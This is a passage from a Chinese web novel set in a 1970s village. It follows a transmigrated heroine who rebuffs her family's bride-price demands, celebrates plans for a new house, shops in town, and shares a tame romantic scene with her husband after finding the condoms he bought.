谢晚棠被刘翠芬的不要脸彻底折服了,真是不是一家人不进一家门,怪不得能和谢建国走到一起呢。 原书里,谢老爹把她卖给了邻村的王傻子,给谢建国换了三转一响娶了刘翠芬,这个刘翠芬一肚子坏水,结了婚把谢建国拿捏得死死的,谢建国在外边是个窝囊废,在家里窝里斗的本事却不小。 薛桂花性子软能忍,不仅像老妈子一样伺候刘翠芬吃饭洗衣,还动辄就要被刘翠芬骂,再能忍的人天天憋着也得憋出病来,薛桂花不过50出头就撒手人寰了。 谢建国叹气:“她连我爹都能批斗,哪里能把我这个哥哥放在眼里,翠芬,100块钱彩礼也不少了,你就回去让你爹通融通融吧!” 刘翠芬哼了声:“100块钱就想打发我?我可是听说了,傅青山给了你妹妹三转一响外加200块钱彩礼呢!她要是不给我准备三转一响,休想让我嫁进你们老谢家的门!” 刘翠芬话落,谢晚棠冷哼一声,转身进了胡同:“确实不会给你准备,你还是另寻高门吧。” 搞笑,以为自己是公主呢,还求着她? 高颧骨小眼睛,一脸的尖酸刻薄样,也就谢建国这种找不着媳妇的垃圾男人上赶着她,把她捧得找不着北了。 刘翠芬闻声一惊,回头就看到谢晚棠站在她身后似笑不笑地看着她,身后还跟着高大冷硬的傅青山和傅青山的五个孩子。 刘翠芬皱眉:“你,你偷听我们说话!” 谢晚棠嗤笑:“这胡同是你家的?敢站在胡同里说话还怕别人听?” 刘翠芬被怼得说不上话来,而且有傅青山这尊黑脸在,她也不敢跟谢晚棠当面对着干,抬手推谢建国,使眼色让谢建国给她出头。 奈何谢建国比她更唯唯诺诺,谢晚棠和傅青山,他哪个都不敢惹。 谢晚棠懒得搭理两个人之间的小动作:“谢建国就能拿出来100块钱的彩礼,你觉得行就嫁,不行就趁早拉倒,也别耽误了你嫁入豪门。” 刘翠芬不服气:“嫁出去的闺女泼出去的水,谢建国娶媳妇还由得你来指手画脚!” 谢晚棠耸耸肩:“嗯,你说得很有道理,那你怎么还舔着个大脸惦记我这个嫁出去的闺女的钱?” 刘翠芬被说得涨红了脸,但她刚刚确实是惦记谢晚棠的钱还被谢晚棠和傅青山听见了,现在再憋屈也没法反驳。 谢晚棠笑得轻蔑:“傅青山愿意给我三转一响200块,那是他靠自己本事挣的,坦坦荡荡,不像你们,一对贪得无厌的吸血狗男女。” 虽然薛桂花是原身的娘,但她刚穿书过来那段时间,薛桂花对她无微不至的照顾,她一直感激在心。 面对这个害死薛桂花的罪魁祸首,谢晚棠厌恶至极,看刘翠芬被她骂得眼睛都红了瞪着她,谢晚棠哼了声,直接越过她往里走,最少是别嫁过来,别来祸害薛桂花。 谢晚棠进门的时候,薛桂花正在天井洗衣裳,一看到她和傅青山,高兴得忙擦手过来招呼。 傅青山叫了一声娘,把带的东西递过去。 薛桂花有些不好意思地接过来:“姑爷怎么带这么多东西,这得多少钱啊!” 谢晚棠笑着挽着薛桂花的胳膊,扬起唇角看向傅青山:“姑爷是半个儿,孝敬您是应该的。” 傅青山闻声也跟着点头。 薛桂花看两人的状态,就知道结婚这月余,小两口感情应该还不错,放心了不少,做娘的就盼着自己的闺女过得好。 薛桂花看傅青山身后大大小小一字排开的五个孩子:“这几个孩子真精神,都叫什么啊?” 秉承着大人说话的时候小孩不插嘴的礼貌,一直到薛桂花问,兰兰才带头自我介绍:“姥娘好,我叫兰兰。” “我叫大刚。” “姥娘,我叫二刚!这是小刚和妞妞。” “姥娘好!” “姥娘好!!” 几个孩子干净利索又有礼貌讨人喜欢,薛桂花高兴得招呼大家进来,谢老太从炕上下来,对孩子们的打招呼敷衍地嗯了声,眼睛直勾勾盯着傅青山带过来的四包月饼和一小袋白面,对薛桂花道:“给我收着吧,放外边别让耗子吃了。” 谢晚棠哼笑,拿了两包给谢老太:“这两包是给您的,剩下的是给我娘的,娘,您也得收好了,小心家里的老耗子。” 薛桂花听出来谢晚棠话里有话,抿着唇没说话,谢老太哼一声拿着两包月饼上了炕。 谢晚棠拉着薛桂花去了小西间,让薛桂花把月饼收好,薛桂花却要打开分给孩子们吃,孩子纷纷摆手,说在家里吃过了。 谢晚棠摁住薛桂花的手:“娘,说了是给你的,你别不舍得吃,都给了别人,听着没?” 薛桂花犹豫了下,哎了声。 谢晚棠把给薛桂花做的秋天衣裳拿出来让薛桂花试,薛桂花穿着闺女做的新衣裳,眼眶不禁湿润,嫁进老谢家20多年,除了结婚,就没穿过新衣裳,到现在仅有的两件新衣裳,都是闺女给她买的。 中秋节村里杀了一头猪分了,谢家分了两斤猪肉,薛桂花高兴,看谢晚棠家里孩子多,炖了一大盆白菜猪肉粉条,又把这几天攒的鸡蛋炒了个韭菜,糊的二合面饼子。 谢老爹到了午饭的点才打牌回来,看到谢晚棠早就愈合的腚还是一哆嗦,唯唯诺诺地朝傅青山点了点头,赶紧上炕坐下了。 几个孩子帮着薛桂花往炕上端饭,薛桂花喜欢得不行,直夸他们懂事。 谢老太一看薛桂花炖的白菜猪肉里肉那么多,又扫了一眼谢晚棠带来那么多张嘴,气得哼了声:“吃完这顿不用过了!” 薛桂花难得硬气一回:“姑爷好不容易来一回,不过就不过了。” 话落,谢老太刚要开口,谢建国耷拉着脑袋进来,一屁股坐在炕上,一脸的丧眉搭眼。 谢老太最疼大孙子,赶紧问怎么回事,谢建国皱眉看了一眼谢晚棠和傅青山,也不敢当面埋怨他俩得罪了翠芬,只道:“翠芬说,没有三转一响,她就不嫁了,我怎么求都不行。” 其实翠芬还说,必须让谢晚棠当面给她道歉才可以,但他根本不敢提。 谢晚棠懒得搭理谢建国这个尿唧唧的样子,给孩子们安排地方挤吧着坐下,她和傅青山就挨着炕沿,刚坐下,就听谢老太道:“建国是咱们老谢家唯一的根,不能断!姑爷,你能挣,有本事,既然娶了晚棠,大舅子的婚事你就不能不管,三转一响你——” 谢晚棠直接打断谢老太的幻想:“他是能挣,但不是冤大头,他是娶了我,不是娶了咱家。” 谢老太哼了声:“他娶了你,咱家的事他就得管!” 谢晚棠撇撇嘴:“这样啊,那要是您老哪天还想第二春,他还得负责给您准备嫁妆呗?” 谢老太:“……” 谢老太敲敲桌子:“我跟姑爷说话呢,轮得着你个小妮子插嘴?!” 傅青山平时话不多,从跟着她进门,除了打招呼,基本没说话。 谢老太话落,傅青山直接道:“我们家的事,都是棠棠说了算。” 几个孩子很机灵,看娘的这个奶奶欺负娘,也都跟着爹道:“对,我们家都是娘说了算,爹都听娘的。” 谢老太:“……” 谢晚棠也不委婉,直接道:“有多大本事就办多大事,娶不着媳妇就打光棍,咱们老谢家的根本来就不正,老天爷要是都想给断了,那就别逆天而行。” 谢老太、谢老爹、谢建国:“……” 谢晚棠的决绝打破了谢家祖孙三辈的幻想,一顿饭吃得死气沉沉。 谢晚棠帮着薛桂花把桌子收拾下来,傅青山在外边刷碗,娘俩在西屋说话。 薛桂花不放心地老往外看,着急道:“怎么能让姑爷刷碗!” 谢晚棠透过窗棂看了一眼顾青山挺括的脊背:“没事,他会。” 薛桂花无奈:“这不是会不会的事啊……” 男人怎么能刷碗啊! 谢晚棠习惯了,因为结了婚就是傅青山刷碗,而且前世她爸也帮着妈妈刷碗打扫卫生的,她并不觉得这有什么,随口道:“您就放心吧,家里一直都是他刷,他刷碗可快了。” 薛桂花:“……” 虽然薛桂花不理解,但是也知道小两口的事老人不该插手,既然傅青山都没意见,她好像也没必要多嘴,毕竟这样闺女也能轻松不少。 娘俩又说了会话,傅青山刷完了碗,谢晚棠带着傅青山和五个孩子走了。 薛桂花看着当门里傅青山刷的干干净净摞在一起的碗,再一想自己的男人和儿子,摇摇头叹了口气。 还好,闺女的命比她好。 晚饭是去正屋那边吃的,虽然分了家,中秋是团圆的日子,大家还是要聚在一起过节。 傅老太今天难得不用自己做饭,又享受起被儿媳妇伺候的日子。 傅大嫂和老三媳妇在当门里做饭,谢晚棠也过去帮忙,却被傅青山拉着手推到炕间:“你中午回来的晚,没捞着好好休息,去炕上等着,我来就行。” 说着,傅青山一撸袖子,跟嫂子和弟妹一起下厨房。 傅大嫂和老三媳妇都懵了,傅大嫂先回过神来:“青山,这不用你,你上炕去坐着吧。” 傅青山摆摆手:“没事,两个锅做饭快。” 有傅青山的加入,做饭确实快,傅大嫂和老三媳妇高兴,但炕上的傅大哥和傅老三就有点坐不住了。 傅大哥下炕,站在当门轻咳一声:“老二,男人怎么能做饭?快上炕来坐着,让你嫂子和弟妹做就行。” 因为打仗分家的事,傅大哥现在晚上吃完饭趁大家睡了都会偷偷帮着傅大嫂洗碗,但他觉得男人洗碗已经是底线了,做饭怎么能行?!何况还是这么众目睽睽之下! 傅青山抬眸看他一眼:“谁规定男人不能做饭了?” 傅大哥……?? 这还用规定?谁家男人都不做饭! 油炸开了,傅青山垂眸熟练地把葱花扔进去,锅里的油噼里啪啦地响起来:“没有什么事是必须女人做的,部队里炊事班都是男人,一样做饭。” 说完,傅青山不再理会傅大哥,弯腰先下肉翻炒,然后下菜。 傅大哥站在当门一时进也不是,退也不是,被傅大嫂瞪了一眼,嫌弃地怼了句“不干活就别在这碍事”,才摸摸鼻子,讪讪地回到炕上。 当晚睡觉的时候,谢晚棠躺在傅青山怀里,就听着老三媳妇骂老三的声音,听不大具体,反正大概听到几句“你二哥又能挣钱又疼老婆,就连你大哥都晚上抹黑偷偷帮着大嫂洗碗,你个窝囊懒狗什么的……” 谢晚棠懒洋洋地往傅青山怀里蹭了蹭,抬手摸着他的心跳,安心地进入梦乡。 中秋节过后,秋收继续如火如荼地进行,收完花生接着收大豆和芋头,芋头收完,秋收终于暂告一段落,只等着下个月再收收地瓜,就开始准备今年过冬了。 秋收这一个月,村里的男女老少都累坏了,秋收结束,大队给大家放了一个周的假,后边也不会再这么忙。 难得空闲下来,谢晚棠终于有空在家里安心做入秋要穿的衣裳鞋。 这天,傅青山比平常早下班回来半个多小时,还带回来两斤猪肉交给兰兰,说晚上包白菜大葱猪肉的饺子吃。 秋收忙,饺子麻烦,家里好久没吃了,孩子们高兴得不行,都主动要帮着一起包饺子。 谢晚棠从当门出来:“二哥,怎么今天突然想吃饺子了?” 傅青山抬眸看她:“庆祝一下。” 谢晚棠不解:“庆祝什么?” 庆祝秋收顺利吗? 傅青山:“房场审批下来了,战友们也给我回信了,钱这两天就汇过来,咱家可以盖房子了。” 孩子们愣了下,接着在天井里高兴地跑着欢呼:“要盖大房子咯!!!” 忙秋收忙的脚不沾地,晚上经常回来累得倒头就睡,也好久没和傅青山亲近了,都快忘了房子的事了,这么大的惊喜从天而降,她的兴奋一点不比孩子们少! 夕阳西下,傅青山被暖黄的光影笼罩着,唇角扬起笑意,强大的男人也可以很温暖。 顾不得孩子们都看着,谢晚棠开心地跑过去,一把搂住他的脖子,傅青山似心有灵犀般稍微用力一托,她腿轻松地骑着傅青山劲瘦有力的腰,扬起下巴,吧唧一声,在傅青山唇上印上一吻。 第54章 我们还得用避孕套? “哇偶~” 听着身后传来妞妞的惊呼声,谢晚棠刚才的勇气一下子烟消云散,抵不住害羞,搂着傅青山的脖子,下意识把脸埋在她颈间。 傅青山被亲得一愣,谢晚棠亲完又贴在他右侧脖颈处,娇嫩的右脸颊热乎乎地蹭着他,温热的呼吸也喷在那处,惹得他那片皮肤处血液都躁动起来。 大刚脸红着偏过头去,兰兰笑着揽着妞妞,二刚和小刚捂着眼睛,一边从指缝里往外看,一边嘿嘿笑。 谢晚棠轻咳一声,从傅青山怀里下来,虽然被孩子们看得害羞,但还是压不住嘴角的笑意:“太高兴了,今晚必须得好好庆祝!白面大肉饺子整起来!” 说干就干! 兰兰去和面,傅青山切肉,二刚洗白菜,小刚和妞妞帮着把炕桌、面板、饺子盘、擀面杖拿上炕摆好,谢晚棠泡上虾皮,让大刚去自留地多摘几根大葱回来。 白菜肉里放点大葱更有滋味,大葱烫一烫再拌个虾皮,就着饺子吃还下饭。 忙碌完准备工作,全家一起上炕围着桌子包饺子,兰兰揉面切块,妞妞帮着撒面按压成小圆,谢晚棠接着擀皮,傅青山带着三个刚包。 包到一半,大刚很有时间下炕去抱草进来引火烧水,等炕上他们饺子包完,水也刚好烧开了,大刚过来端过去下饺子。 全家齐上阵,不到一个小时,就吃上了热乎乎香喷喷的白面大水饺。 谢晚棠突然感觉,现在要是有个饮料该多好啊,大家一起举杯庆祝新生活即将到来。 没有饮料也没有酒杯,谢晚棠端起手边的饺子汤碗:“就以饺子汤代酒吧,庆祝咱们家可以盖大房子咯~” 傅青山闻声笑了,配合地端起饺子汤,大家一起碰碗欢呼。 饱饱地享受完饺子盛宴,大家摸着肚子围坐在炕桌一圈,一起规划着新家。 整体设计是谢晚棠的意见,主屋是三居室,当门里搭两个锅台,冬天取暖方便,平常做饭也可以一起做节约时间。 天井里就不建南屋了,中间直接用石板铺上一条路隔开,左边是大刚的菜园、鸡栏鸭栏和小狗棚,右边则规划一个小花园和三条晾衣绳,靠近大门口的地方是厕所。 至于三个卧室的具体设计,谁住就谁来设计,完全民主自由。 三个刚倒是没什么特别要求,兰兰和妞妞两姐妹已经开开心心地开始规划自己的小房间了。 翌日。 傅青山请了假要去镇上采买盖房子的材料,谢晚棠看孩子们上次买的小人书都已经翻得滚瓜烂熟了,现在连最小的妞妞都认识近百个字了,她又去找夏知青借了自行车,让傅青山去把大队部的自行车也借回来,一家七口一起去镇上。 到了镇上,大家兵分两路。 谢晚棠带着孩子们去买书,玉秀二哥傅青林后天结婚,她还得去供销社买脸盆和毛巾回礼。 傅青山去砖厂采买建筑材料,大刚跟着他一块去了,大家约好中午饭点的时候在国营饭店回合,一块吃了饭再回去。 谢晚棠和兰兰一人骑一辆自行车,带着二刚小刚和妞妞先去了书店,还是每个人可以选一本书,二刚替大刚捎着他的那本。 付钱的时候,二刚跟书店经理砍价,“经理,我们家每次都买这么多书,以后也是要常常来买的,您不给便宜点?” 没想到二刚还有这头脑,谢晚棠也跟着二刚笑道:“对啊经理,给我们便宜点吧!” 这年头书店虽然也是公家的,但看书的人少,相比供销社、国营饭店,生意属实是冷清,整个书店只有一个光杆经理。 经理看二刚虽然年纪不大,但人透着一股精灵劲儿,笑道:“公家的生意,价格我不能改,不过那边有些要清理的书,你们看看有没有喜欢的,可以送你们两本。” 一听说免费送,孩子们马上跑过去看,角落里堆着很多书,乱七八糟地摞在一起,都是些各行各业的技术类书籍,什么《无线电设备元件零件的设计与制造工艺》、《农田水利与泵站工程》、《服装裁剪入门及版样50例》、《赤脚医生手册》、《农民种植手册》、《母猪的产后护理》、《十万个为什么》……等等。 三个小的翻了一圈都没有小人书故事书,就不太感兴趣了。 倒是兰兰,惊喜地抽出来那本《服装裁剪入门及版样50例》,如获至宝。 谢晚棠翻开那本《农民种植手册》看了看目录,讲得是各种农作物的养殖技术,大刚应该会喜欢,到时候盖起来新家,他的小菜园更大了,施展的空间大着呢。 不过那本《十万个为什么》她也想要,小时候爸爸就带她读过,里边讲了很多科学小道理,不仅可以让孩子们学习物理、化学、地理、生物等各个学科的知识,还能开阔视野,可以极大地弥补这个年代教育的缺失,培养孩子们对知识的好奇和渴望。 谢晚棠回头问经理:“经理,您这些书都太好了,可以送我们三本吗!” 那些书现在都没人要,经理倒也大气,大手一挥:“现在愿意看书的人少了,难得你们家是它们的有缘人。” 谢晚棠开心:“太谢谢您了经理!” 买五送三,谢晚棠高兴地去付钱,一家人开开心心地出了书店,骑车去供销社。 谢晚棠一进供销社,两个售货员就认出她来,笑着招呼她:“来了,部长没一起来?” 谢晚棠笑着走到卖结婚用品的柜台,随口道:“他有点事。” 谢晚棠和兰兰妞妞今天都穿着布拉吉配着小皮鞋,售货员打量她们三个:“这就是上上次你从这割的的确良?这布拉吉怪好看的,像买的成衣似的,去哪儿做的?” 谢晚棠:“我自己做的。” 售货员震惊:“你还有这样的好手艺?” 谢晚棠笑笑,这就算好手艺了?姐姐的手艺还有很多没展示呢,没准以后全国人民都要穿姐姐的手艺哦。 买上一个红脸盆,两个红毛巾,要付钱的时候,售货员道:“过完节月饼便宜了,每块便宜了5分,你要吗?” 家里孩子多,看着买回去好几包,分到每个人嘴里,也就两三块。 每块便宜了5分,也相当于七折了,价格很合适,谢晚棠看了看,确定没有坏,果断拿下5包,给孩子们解馋吃。 从供销社出来,谢晚棠打开一包月饼,一人一块分了吃了有劲了,才骑车去黑市,买点猪下水晚上回去炒着吃。 谢晚棠去敲门,开门的却不是光头杀猪男,是一个看起来比大刚大不了多少的青年,长得有傅青山那么高,就算谢晚棠阅男无数,也不得不承认他是个帅气青年。 就算穿着杀猪的白围裙,一身猪油,也难掩姿色。 青年皱眉打量她,谢晚棠自我介绍:“我之前来买过,认识你们这那个光头帅哥。” 光头听到自己被叫帅哥,探头一看:“是你啊,还要大肠?” 谢晚棠笑着点头:“还有吗?” 光头说有,对那个帅气青年道:“子夜,去拿大肠。” 青年话不多,脚下麻利,转身朝屋里走了。 谢晚棠:“这是谁啊?以前没见过呢。” 光头回头看了一眼:“子夜啊,我徒弟,刚来没多久,人挺勤快的。” 说话间,那个叫子夜的帅气青年已经把大肠包好了递给谢晚棠,布拉吉没有兜,钱放在兰兰背的布包里,谢晚棠把大肠放车筐里,叫兰兰去付钱。 光头里头还忙着,吩咐徒弟收下钱就进去了。 兰兰把钱递过去的时候,一个仰头,一个垂眸,视线对上的那一刻,两人几乎同时怔住,片刻后又心有灵犀地同时红着脸偏开头。 青年接过钱,回去找了零送出来,兰兰从他修长却粘满油渍的指尖接过零钱揣进包里,礼貌点头:“谢谢。” 青年“嗯”了声,听不出情绪,在兰兰转身的时候又说了句:“再来。” 兰兰点头,回去骑上车子,带着弟弟妹妹们出发,骑出去十几米后,抿唇回头,看到青年还站在门口看着他们,直到车子拐出小胡同再也看不见。 谢晚棠买了大肠、鸡蛋、花生油,看看时间差不多了,就去国营饭店集合,傅青山和大刚还没到,他们先点上菜,这样一会儿都到齐了就不用等了。 菜上得差不多了,傅青山和大刚才姗姗来迟,谢晚棠看大刚神色有些不自然,问傅青山:“买材料不顺利?” 傅青山摇头:“都办好了。” 谢晚棠这才放下心来,把那本农业种植的书拿给大刚看,大刚果然喜欢,当场就翻看起来,不过就是看书的时候还皱着个眉头,一脸愁容,不知道怎么了。 吃过午饭,骑车回下沟村,拉砖的车也紧随其后,送到房场处卸下。 趁傅青山去看着卸砖还没回来,谢晚棠把大刚拉到炕间问:“怎么了?上午跟你爹一起,他训你了?” 谢晚棠一问,大刚立马摇头,不过眉头皱着更深了。 谢晚棠更好奇了:“那到底怎么了?你这一脸苦大仇深的。” 大刚纠结了一会儿,低声跟她道:“我爹上午买完砖去医院了。” 医院? 谢晚棠皱眉:“你爹病了?!” 大刚摇摇头:“不知道,反正挂的妇科。” 谢晚棠:“……” 又是妇科……那肯定没病。 大刚指指傅青山放在炕上的包:“好像还拿的药。” 还有药?给她拿的? 谢晚棠拿过包一摸,果然有东西,难道是治痛经的药? 拉开拉链,伸手摸到,拿出来一看——避孕……套??! 大刚就在身后,谢晚棠眼疾手快,指腹一下子摁住那几个字塞回包里,脸瞬间通红,回头对大刚轻咳一声:“没事,你爹去给我拿的药。” 大刚没看到是什么药:“给您用的?” 谢晚棠:“……” 好吧,算是给她用的…… 谢晚棠点头,大刚长舒一口气:“我以为我爹得了什么怪病呢!一个大男人去看妇科!” 话落,又担心地看她:“娘,您的身体——” 谢晚棠脸烫得不行:“没事,就是肚子疼,开点药吃就好了。” 大刚这才放下心来,眉头也终于舒展开了。 大刚脚步轻快地出去,谢晚棠又摸出来包里的东西看了一眼,真的是避孕套。 没有孩子在,谢晚棠倒没什么害羞的,就是觉得,傅青山看着表面清清冷冷的,实则内心也是跟她一样按捺不住了,房子还没开始盖啊,避孕套就早早买回来备着了。 不过,他们还需要用这东西吗? 傍晚傅青山回来的时候出了一身汗,在外边压井水冲过上身后进来换衣裳,谢晚棠把炕间的门关上,拿出他包里的避孕套:“你买这个干什么?” 傅青山光着膀子,衣服还没来得及套,就看到谢晚棠手上拿着避孕套,他怔了下,片刻后耳朵尖发红,解释道:“这个叫避孕套,同……同房的时候戴上,就可以避免怀孕。” “……” 她不是不认识避孕套啊!她是问买这个干什么啊! 考虑到傅青山男人的尊严,谢晚棠尽量委婉措辞:“我的意思是,我们还得用避孕套?” 傅青山垂眸看她:“你不是说不想生孩子吗?大夫说只要有夫妻生活就有可能会怀孕,如果不想生孩子,要万无一失,就得戴这个。” 大夫说的当然没错。 谢晚棠是觉得,傅青山那方面不是有问题嘛,那不就相当于天然地避孕了?还用得着带套? 不过傅青山说到万无一失,谢晚棠一想,也是,万一劣质精子意外冲进来和她的卵子结合了呢,听说活力不好的受精卵很容易胎停流产,非常伤身体。 谢晚棠点头:“也是,还是你比较谨慎。” 第55章 傅青山急不可耐地吻了上去。 聊的时候没觉得,聊完谢晚棠突然感觉,光天化日的,两人居然就这么直白地讨论夫妻生活带不带套这种隐秘话题……他们可是连对方身体都没看过的纯洁夫妻啊! 谢晚棠脸发烫,轻咳一声:“那个,我先收好,别让孩子们看见。” 寻摸一圈,感觉还是她陪嫁的大樟木箱子保险,掀开箱子,把避孕套塞到箱子最底下压住,保证万无一失不会被发现,现在家里的孩子读故事书读的,个个都识字,谁要是不小心发现了给念出来,那真是要夭寿了T-T 谢晚棠弯着腰,整个上半身都要探到箱子里,衣服被带上去,露出整节白皙纤细的腰肢,晃得傅青山移不开眼,刚冲过凉的身体又燥起来。 谢晚棠摸索着放了好久,才起身盖上箱子转过身来,傅青山再也忍不住,扔了手上还没来得及套的衣裳,一把抱住谢晚棠,急不可耐地吻了上去。 秋收又忙又累,两人已经很久没有好好亲热了,素了许久的身体一点就着,谢晚棠愣了下,就已经被傅青山强势地攻城略地,她也不甘示弱,伸手回抱住傅青山结实光裸的脊背,垫起脚尖,仰头迎了上去。 小刚和妞妞还在天井里跑着逗小黑玩,时不时从窗棂前跑过,他们必须紧紧地贴着炕间的门,才不会被小刚和妞妞看到。 听着兄妹俩爽朗的笑声,谢晚棠心脏砰砰砰狂跳,那种生怕被看到的紧张感莫名地让这场久违的吻更加刺激…… 怪不得古人说妻不如妾,妾不如偷。 他们是夫妻,做点夫妻事却得偷偷摸摸,虽然难耐,但竟也别有一番味道。 犹如久旱逢甘霖,两人缠绵许久,仿佛忘记了时间的存在,直到听到大门响动,传来二刚的声音,傅青山才不舍地结束这个长吻,下巴抵在她右肩头,叹了口气。 这种被吊在半空中不上不下的感觉很难受,谢晚棠感同身受,她轻轻拍拍傅青山的背:“快了,二哥。” 房子盖好了,就不用这么小心翼翼了。 听着二刚的声音越来越近,傅青山也不敢再磨蹭,“嗯”了声,不舍地放开她,长臂一伸,拿过扔在炕上的衣裳兜头套上。 邻村的工程队傅青山早已经联系好,水泥、砖、沙子等材料也都拉回来了。 翌日一早,工程队就用四辆驴板车拉着家把什进村,直接到房场开工了。 农忙过去,村里社员吃过饭都上街溜达,工程队进村,一看就是给傅青山家盖房子的,村里目前就只有他家有钱盖得起新房子。 村里几乎家家户户都是三代同堂挤在一起,看傅青山和谢晚棠能盖新房搬出去出,没一个不羡慕的,偶尔有几个阴阳怪气说酸话的,也是羡慕过了头,小心眼嫉妒罢了。 傅青山跟工程队长交代好,他还得去上班,留下大刚帮忙。 中午需要管饭,工程队大工小工加起来一共8个人,再加上家里的6口,中午就得做14个人的饭,兰兰一个人肯定忙不过来,傅青山又不放心让谢晚棠干下厨的活,怕她割了烫了,便去找傅大嫂帮忙。 傅青山说明来意后,傅大嫂一口应下:“放心吧青山,现在地里不忙,我在家闲着也是闲着,中午我去和兰兰一块做。” 傅青山掏出两块钱给她:“大嫂,工程队在这大概得一个月时间,就麻烦你了。” 傅大嫂没想到做个饭傅青山居然还要给钱,一把把他手推回去:“这多大点事,不用!盖房子处处是花销,你省着点花,做个饭我就顺带手的事,不准弄这些见外的事。” 分家这些日子,她跟谢晚棠处得不错,谢晚棠帮她做立春和傅大哥的衣裳,平时还时不时给她送东西,她虽然缺钱,但也不能要傅青山这钱。 傅青山不是那种推来推去墨迹的性格,傅大嫂态度坚决,他也没再硬给,点点头走了。 14个人的饭不是个小数,赶上大锅菜了,傅大嫂半头晌就过来和兰兰一块准备了。 秋收分的黄豆,傅大嫂带了自己做的豆腐过来,谢晚棠早晨听傅青山说了傅大嫂中午过来帮忙,闻声放下手里的活出来,跟傅大嫂说多做点,做好了端回去吃,就不用回去再做了。 两人处得熟了,傅大嫂也不见外,点头哎了声:“那我回去拿点二合面过来。” 谢晚棠拉住傅大嫂:“青山说了,给你钱你不要,你*这还带过来豆腐,不让我们见外,你也不准见外,二合面家里有。” 傅大嫂虽然脾气软好说话,但骨子里也是个爽快人,见谢晚棠都这么说了,她也没再墨迹,放下豆腐洗手:“好!” 加上傅大嫂家5口,一下做19口人的饭,着实是个不小的量。 有傅青山的交代,当门里的活傅大嫂不放心她干,谢晚棠就出去压了井水,帮着洗菜。 中午烀二合面饼子、炖一锅白菜豆腐粉条、一锅土豆焖茄子,再拌一盆黄瓜。 谢晚棠对19个人的饭量一点数都没有,回头朝当门问道:“大嫂,白菜洗多少?” 傅大嫂:“三个吧。” 谢晚棠:“好。土豆呢?” 傅大嫂:“土豆洗20吧,茄子一炒不出数,那一堆都洗上吧!黄瓜不垫饥,也都洗上吧!” 谢晚棠把点好的菜都搬到压井旁,白菜一大盆,土豆一大盆,茄子一大盆,黄瓜一大盆。 白菜和土豆是分家分的,茄子黄瓜是傅青山今早和大刚从傅大娘家自留地里摘回来的,她还以为能吃几天呢,没想到这居然就是一顿的量! 这样下去,傅大娘家的自留地用不了一周就能被他们家吃空了。 她正愁着,傅大嫂道:“没事,我们家地里菜不少,一块凑吧着吃。” 谢晚棠闻声点头,放下心来。 白菜、土豆、茄子好洗,叮咣一顿搞定。 早晨刚摘的黄瓜刺还新鲜着,谢晚棠在水里一撸,疼得嗷一声,手心里火辣辣的,翻过手来一看,手心被黄瓜刺磨得通红。 傅大嫂切好豆腐、泡上粉条,闻声出来一看,可算知道傅青山为什么去找她过来帮忙了,这要是指着谢晚棠做上一个月的大锅饭,手都得磨秃噜皮。 傅大嫂拍拍谢晚棠的肩膀让她起来,她坐下捋着黄瓜叮咣一顿出溜,一盆黄瓜马上洗好。 谢晚棠震惊:“大嫂你手不疼吗?” 傅大嫂摊开掌心给她看:“我们都有老茧,没什么感觉,你这手太嫩了,干不了这些粗活,这里不用你了,你快进去做衣裳去吧,还是那种精细活适合你。” 傅大嫂说着就拿刀熟练地开始给土豆削皮,兰兰在里边活面,谢晚棠确实帮不上忙,就进屋去做衣裳,到开饭的时候,傅大哥的衣裳做好了。 傅大嫂做好了饭,大刚回来拿,傅大嫂打发大仓二仓帮着大刚一起去送。 傅大哥过来帮着往家端菜,谢晚棠正好让傅大哥进来试了衣裳,大小合适,刚好一起带回去。 歇过晌,谢晚棠起来给孩子们的秋天衣裳也缝上扣子收了尾,听到有敲门声,小刚跑过去开门,“郭姨!娘,郭姨来了!” 谢晚棠闻声出去,见郭燕身后还跟着两个没见过的中年妇女,不是下沟村的。 谢晚棠打招呼:“燕姐,这两位是?” 郭燕笑着介绍:“这是刘队长,这是许主任,上沟村的宣传队长和妇女主任,我们去镇上开会常见,你给我做的衣裳她们可喜欢了,之前秋收忙顾不上,这不一闲下来,就拿着布让我带着来找你做衣裳了!” 谢晚棠没想到这么快就传到了邻村,郭燕这宣传队长果然宣传力度大! 自己做的衣服能被人认可,谢晚棠自然高兴,招呼人进来。 这年头投机倒把查得严,个人之间不兴给钱,上沟村产山核桃,刘队长和许主任一人带了一包山核桃给谢晚棠作谢。 秋装和夏装不同,夏天穿得宽松慵懒有一种休闲感,秋天里边还要穿秋衣,外衣修身一点才不会臃肿,而且两人都是做领导的,裁得合身立整一些更符合身份。 沟通过版型后,谢晚棠给两人量尺记下尺寸,约好大概时间,到时候让郭燕去镇上开会的时候捎过去试试,不合适的地方还可以改。 郭燕她们走后,谢晚棠让兰兰把小刚和妞妞叫进来,一起砸山核桃吃。 两个小的一听这是娘给人做衣服挣的好吃的,高兴地直夸她厉害。 她们吃完,又给傅青山和大刚二刚砸了一些核桃仁,等他们回来吃。 吃完山核桃,谢晚棠斗志昂扬开始做衣裳,兰兰下午不忙,好奇地跟在旁边看,谢晚棠就一边裁一边给她讲,兰兰听得很认真,不时点头。 裁完第一身,谢晚棠把划粉和尺给兰兰,让她按照刚才讲的来试试,兰兰开始不敢下手,谢晚棠鼓励她:“没事,划粉划错了可以擦掉,大胆试,还有我呢,放心!” 兰兰被鼓励,用力点头:“那我试试。” 兰兰毕竟看过书,不是零基础,又有她带着实操,很快就上手了,除了个别袖窝、领口的位置需要微调,其他的都没问题。 谢晚棠给她竖起大拇指:“兰兰,你在做衣服方面很有天分!” 兰兰感觉一下子斗志满满,扬起唇角:“以后我帮娘一起做!” 谢晚棠笑着点头:“那可太好了!” 晚上傅青山下班回来带回来两斤猪肉,让兰兰切一半留着明天吃,另一半分成两份,一份今晚炒菜,另一份给傅大嫂送过去。 兰兰点头,突然想到什么,抿唇问道:“还是去黑市那家买的?” 傅青山被问得怔了下,点了点头。 整个大沟镇就那一家卖猪肉的,除了供销社要用票买的肉,平常想吃肉,都得去那儿买。 傅青山抬眸看了一眼,兰兰像被看穿一般,脸有些发烫,赶紧转过身去切肉。 傅青山进来跟谢晚棠打了个招呼,要先去工地看看,妞妞把扒好的山核桃仁给傅青山,小刚主动解释是娘做衣裳挣的山核桃。 傅青山闻声看谢晚棠,谢晚棠笑道:“郭队长领着邻村的宣传队长和妇女主任来做衣裳,给带的。” 傅青山点头:“别太累。” 谢晚棠嗐了声:“做两身衣裳有什么累的。” 确实,做喜欢的事就不会觉得累。 傅青山没再说什么,领着妞妞和小刚去工地。 谢晚棠把猪肉给傅大嫂送过去,傅大嫂惊得不行,立春直舔嘴唇。 农村一年到头吃不了几回猪肉,只有逢年过节,大队部才会杀猪分猪肉。 